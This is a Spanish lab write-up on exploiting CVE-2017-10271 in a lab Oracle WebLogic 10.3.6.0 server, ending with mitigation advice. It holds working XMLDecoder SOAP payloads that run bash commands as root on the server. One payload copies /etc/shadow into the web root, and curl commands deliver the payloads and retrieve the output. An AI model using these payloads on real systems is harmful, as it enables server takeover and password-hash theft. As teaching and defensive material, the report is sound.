LAB 2 - CVE-2017-10271: Informe de Deserialización XMLDecoder en WebLogic

I. Análisis del Sistema

Análisis de los Registros del Sistema

• Servicio detectado: Oracle WebLogic Server (AdminServer perteneciente a base_domain ejecutándose en Development Mode).
• Puerto de conexión: 7001.
• Protocolos soportados: http, t3, iiop, ldap, snmp.
• Evaluación de la superficie de ataque:
  • El servicio expone el protocolo t3 en el puerto 7001. Esta configuración por defecto conlleva un alto riesgo si la versión de WebLogic no está parcheada contra vulnerabilidades relacionadas con la deserialización de objetos Java vía RMI (Remote Method Invocation).
  • La interfaz de la consola de administración web se ejecuta sobre el protocolo http en el puerto 7001, lo que la hace susceptible al escaneo de directorios en busca de endpoints sensibles como /console/login/LoginForm.jsp.

Una vez identificados los puertos abiertos del objetivo, usaremos nmap para escanear el puerto y determinar el servicio que se está ejecutando.

Por lo tanto, el objetivo está ejecutando un servicio HTTP con la versión Oracle WebLogic Server 10.3.6.0, un conocido servidor de aplicaciones Java empresarial famoso por una serie de CVEs críticos (como deserialización y bypass de autenticación). Sin embargo, esta información por sí sola no es suficiente para concluir a qué vulnerabilidad específica es susceptible el sistema. Necesitamos escanear más a fondo los componentes de servicios web asociados.

Procederemos a identificar sus endpoints sensibles utilizando la herramienta dirsearch. Dado que WebLogic se ejecuta sobre la plataforma Java, los archivos .jsp y .xml son los objetivos más sensibles. Nos centraremos en los endpoints que devuelvan un código de estado 200.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

• /console/login/LoginForm.jsp: El portal de inicio de sesión de la interfaz web de la consola de administración de WebLogic. Es un objetivo importante para escenarios de fuerza bruta con credenciales por defecto o vulnerabilidades de bypass de autenticación (como CVE-2020-14882).
• /bea_wls_internal/: El directorio interno de aplicaciones web predeterminado de WebLogic Server. Este componente permite acceder e interactuar con archivos estáticos del sistema.
• /wls-wsat/CoordinatorPortType: Este es el hallazgo más crítico. La presencia de esta ruta con un código de estado 200 OK confirma que el componente Web Services Atomic Transactions (wls-wsat) está habilitado y listo para recibir datos.
• /uddiexplorer y /uddi/uddilistener: Se trata del componente UDDI Explorer (Universal Description, Discovery, and Integration) integrado por defecto en WebLogic Server para gestionar y registrar servicios web. Este componente es extremadamente famoso por la vulnerabilidad SSRF (Server-Side Request Forgery) - CVE-2014-4210. Un atacante puede aprovechar la interfaz de búsqueda del registro público de UDDI en el endpoint /uddiexplorer/SearchPublicRegistries.jsp para forzar al servidor WebLogic a enviar peticiones HTTP arbitrarias a la red interna del backend.

⇒ Reflexión: La coexistencia de /wls-wsat (riesgo de RCE vía XMLDecoder) y /uddiexplorer (riesgo de SSRF) indica que la superficie de ataque de este servidor WebLogic es extremadamente amplia.

Tras identificar dos superficies de ataque independientes que coexisten en el servidor WebLogic 10.3.6.0, analizamos las dos direcciones:

1. Vulnerabilidad SSRF (CVE-2014-4210) en /uddiexplorer:
   • Impacto medio: Permite enviar peticiones HTTP indirectas desde el servidor para escanear puertos en la red LAN o interactuar con servicios internos (como Redis).
   • Limitaciones: No otorga directamente control a nivel de sistema operativo (OS Level). Escalar de SSRF a RCE depende en gran medida de si la red interna contiene otros servicios mal configurados.
2. Vulnerabilidad de deserialización XMLDecoder (CVE-2017-10271) en /wls-wsat:
   • Impacto: Crítico. Permite la ejecución remota de código arbitrario (RCE) directamente en el servidor con los privilegios del proceso en ejecución.

⇒ Decisión: En el modelo de la cadena de ataque cibernético, el RCE es siempre el objetivo final porque proporciona un control directo y completo del sistema (Full System Compromise). Una vez lograda la capacidad de RCE, explotar el SSRF a través de la aplicación UDDI se vuelve redundante. Esto se debe a que, desde una shell RCE, podemos realizar consultas a la red interna de forma directa, flexible y mucho más potente (usando comandos del sistema como curl, wget) sin estar restringidos por los parámetros de la interfaz UDDI.

Por lo tanto, en términos de lógica de priorización de explotación, decidimos descartar la vía secundaria (SSRF en /uddiexplorer) y centrarnos por completo en investigar: Ejecución Remota de Código (RCE) a través de la vulnerabilidad de deserialización XMLDecoder en /wls-wsat/CoordinatorPortType.

Análisis y Pruebas del Mecanismo de la Vulnerabilidad

La vulnerabilidad raíz de CVE-2017-10271 se produce porque la clase WorkContextXmlInputAdapter de WebLogic utiliza el objeto java.beans.XMLDecoder para analizar los datos en la etiqueta <work:WorkContext>. Por defecto, esta clase XMLDecoder instancia automáticamente cualquier clase Java definida en forma de etiqueta XML. A partir de aquí, realizamos una verificación basada en la interacción paso a paso con el comportamiento del sistema.

Para verificar rápidamente el estado activo real de este servlet, envía una petición de sonda HTTP GET normal:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

La respuesta devuelve HTTP/1.1 200 OK junto con la clase de implementación CoordinatorPortTypePortImpl, confirmando que el servlet se ha cargado correctamente en la memoria de la JVM.

Verificación del Procesamiento de Datos POST

Dado que los servlets de servicios web están diseñados para procesar datos XML SOAP mediante el método POST, procedemos a realizar pruebas comparativas con dos peticiones POST para demostrar el flujo de procesamiento de datos del sistema:

1. Petición POST SOAP estándar

Enviamos un sobre XML SOAP estándar (con espacios de nombres completos pero sin contenido de ejecución) para probar la capacidad de análisis normal del parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

• Resultado: El sistema atraviesa el parser sin problemas y solo indica un error en la capa de lógica del servicio backend (Cannot find dispatch method).

Análisis:

El servidor dispone de un lector XML funcional en el puerto POST, listo para recibir y decodificar toda la estructura de árbol XML enviada por el usuario. Esto confirma que el flujo de datos desde el cliente hasta el interior de la memoria de WebLogic está totalmente operativo.

2. Petición POST XML malformada

A continuación, rompemos intencionadamente la estructura XML (por ejemplo, omitiendo los espacios de nombres) para observar el mecanismo de gestión de excepciones del parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

• Resultado: Devuelve la excepción com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Análisis:

1. Cada carácter y cada etiqueta XML del Body del paquete POST se pasa directamente al parser XML Java de más bajo nivel dentro de la JVM (com.ctc.wstx) para su análisis.
2. El sistema no tiene ningún punto de control, filtro o Firewall de Aplicaciones Web (WAF) intermedio para filtrar los datos de entrada. Si existiera un filtro, el paquete se habría bloqueado desde el principio en lugar de penetrar hasta la capa del parser Java y lanzar un error del sistema como este.

Conclusión

La combinación de los resultados experimentales prácticos y el análisis de la arquitectura del sistema —desde el servlet wls-wsat recibiendo paquetes crudos a través del puerto POST, la ausencia de WAF/filtro de saneamiento en la capa del parser, hasta el lanzamiento directo de errores crudos del lector XML de Java— confirma que el servidor ejecuta una estructura de servicio extremadamente sensible que se encuentra directamente dentro del alcance de CVE-2017-10271 (Deserialización XMLDecoder).

Debido a que el mecanismo de análisis predeterminado de XMLDecoder no tiene filtros de control de clases, el servidor que recibe datos POST crudos sin saneamiento es la puerta perfecta que nos permite diseñar payloads que invoquen directamente objetos de ejecución del sistema Java en el siguiente paso.

II. EXPLOTACIÓN

Pensamiento para la Construcción Manual del Payload

Dado que el servidor WebLogic 10.3.6.0 se ejecuta en un entorno Java antiguo y no aplica filtros estrictos de control de clases para XMLDecoder, un atacante puede inyectar directamente objetos Java ejecutables.

La clase estándar para ejecutar comandos en Java es java.lang.ProcessBuilder. Procedemos a mapear esta lógica de inicialización de objetos Java a un formato XML compatible con XMLDecoder:

• Declaración de inicialización de la clase: <void class="java.lang.ProcessBuilder">
• Definir un array de cadenas de parámetros que contiene el comando a ejecutar: <array class="java.lang.String" length="3">
• Activar el método de ejecución: <void method="start"/>

Bypass de RCE Ciego

Cuando se ejecuta un comando del sistema a través de ProcessBuilder, el servidor WebLogic ejecuta el comando en segundo plano en el SO y solo devuelve un código de error HTTP 500 (no imprime la salida del comando directamente en la pantalla de respuesta HTTP). Este mecanismo se denomina Web Application Mapping — todos los servidores web funcionan así. El directorio war/ es la raíz de documentos (Document Root) de esa aplicación. Cualquier archivo ubicado en war/ puede ser accedido mediante una URL corta.

⇒ Para bypassear el RCE ciego, debemos encontrar la ruta física, ya que el comando id > ... se ejecuta en el sistema operativo y requiere la ruta real.

Análisis de Caja Blanca para Encontrar el Directorio /war

Para encontrar la ruta física real de la aplicación bea_wls_internal que se carga dentro del contenedor, ejecutamos una consulta de búsqueda del sistema directamente desde la máquina host:

Resultados

• /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Archivo de biblioteca original).
• /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Directorio de aplicación activa descomprimido en la partición temporal _WL_internal del AdminServer). Adentrándonos en este directorio activo, localizamos el subdirectorio que contiene los archivos estáticos: /9j4dqk/war/. Este es el directorio raíz web absoluto de la aplicación, donde el atacante tiene permisos de escritura para crear archivos estáticos que muestren los resultados de la ejecución del RCE.

Pensamiento: Diseñar un comando para redirigir la salida de id a un archivo estático rce.txt en el directorio anterior: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Creación del Payload de Explotación XMLDecoder

A partir del análisis anterior, sabemos que la clase XMLDecoder de Java instancia y ejecuta automáticamente cualquier objeto definido en forma de etiquetas XML. Para invocar comandos del sistema operativo en Java, la clase estándar es java.lang.ProcessBuilder.

El proceso de mapeo desde el código Java equivalente a la estructura XML de XMLDecoder:

Código Java Equivalente:

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Mapeo a etiquetas XML de XMLDecoder:

Crea el archivo exploit.xml en la máquina Kali Linux con la estructura SOAP completa:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Desde la máquina Kali Linux, envía el archivo XML que contiene el payload de explotación al endpoint objetivo:

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Verificación de los Resultados del RCE

Accede al archivo estático rce.txt recién creado en el directorio raíz web:

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Explotación RCE exitosa. El resultado del comando id confirma que el proceso de WebLogic se está ejecutando con privilegios de root.

III. POST-EXPLOTACIÓN

Verificación de Privilegios

El resultado de la ejecución del comando id devuelve uid=0(root). Esto demuestra que el proceso de WebLogic Server se está ejecutando directamente con los máximos privilegios root del sistema operativo. El atacante tiene control total sobre el sistema sin necesidad de ningún paso adicional de escalada de privilegios.

Recopilación de Datos Sensibles

Un atacante puede leer fácilmente archivos sensibles del sistema como /etc/shadow. Creamos el archivo exploit_shadow.xml y lo enviamos a través del payload XML para que el servidor WebLogic lo ejecute automáticamente. Esto ordena al servidor leer el archivo y dirigirlo al directorio Document root para que pueda ser accedido desde la URL externa.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Luego, envía el payload y lee el archivo desde el exterior:

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

La lista completa de cuentas del sistema junto con los hashes de contraseñas queda totalmente expuesta.

Reverse Shell

Dado que el contenedor se ejecuta en un entorno de red interna aislado (NAT/Bridge del host Docker), establecer una conexión inversa (Reverse Shell) directamente de vuelta a la máquina Kali fuera de la LAN puede encontrar obstáculos de enrutamiento. En un entorno real (producción), el atacante puede montar un reverse shell sin problemas si el servidor dispone de conexión a Internet saliente.

Sin embargo, la capacidad de ejecutar código remoto (RCE) directamente con privilegios root y la posibilidad de leer/escribir archivos de forma interactiva a través de la raíz web son suficientes para confirmar el compromiso total del sistema.

IV. EVALUACIÓN Y RECOMENDACIONES

Evaluación de Riesgos

La vulnerabilidad de deserialización XMLDecoder (CVE-2017-10271) en este sistema WebLogic se evalúa en el nivel de riesgo más crítico (Critical):

Recomendaciones de Mitigación

Para remediar por completo esta vulnerabilidad de seguridad crítica, los administradores deben implementar de inmediato las siguientes medidas:

Prioridad Urgente (Corto plazo):

1. Eliminar o deshabilitar el componente wls-wsat: Si el sistema no utiliza las funciones de Web Services Atomic Transactions (WSAT), proceda a eliminar la carpeta wls-wsat.war en la ruta de instalación de WebLogic y reinicie el servicio para eliminar por completo esta superficie de ataque.
2. Aplicar el parche de seguridad (Patching): Aplique inmediatamente el paquete de actualización de seguridad independiente de Oracle para CVE-2017-10271 o actualice WebLogic Server a una versión segura más reciente (la versión 12c o superior ha reemplazado el mecanismo de procesamiento XML por una alternativa segura).
3. Reducir los privilegios de ejecución del proceso: Reconfigure el servicio WebLogic para que se ejecute con una cuenta de usuario restringida (por ejemplo, oracle) y no ejecute nunca el proceso con privilegios root.

Prioridad a Largo Plazo (Defensa en profundidad):

1. Implementar un Firewall de Aplicaciones Web (WAF): Configure reglas en el WAF para detectar y bloquear peticiones POST a los endpoints /wls-wsat/ que contengan etiquetas XML características de XMLDecoder como <java>, <object>, <void>, <class>, <method>.
2. Configurar la segmentación de red: Aísle el contenedor WebLogic, bloquee el tráfico de red saliente innecesario (conexiones salientes) para minimizar el riesgo de reverse shells o de descarga de código malicioso al contenedor desde el exterior.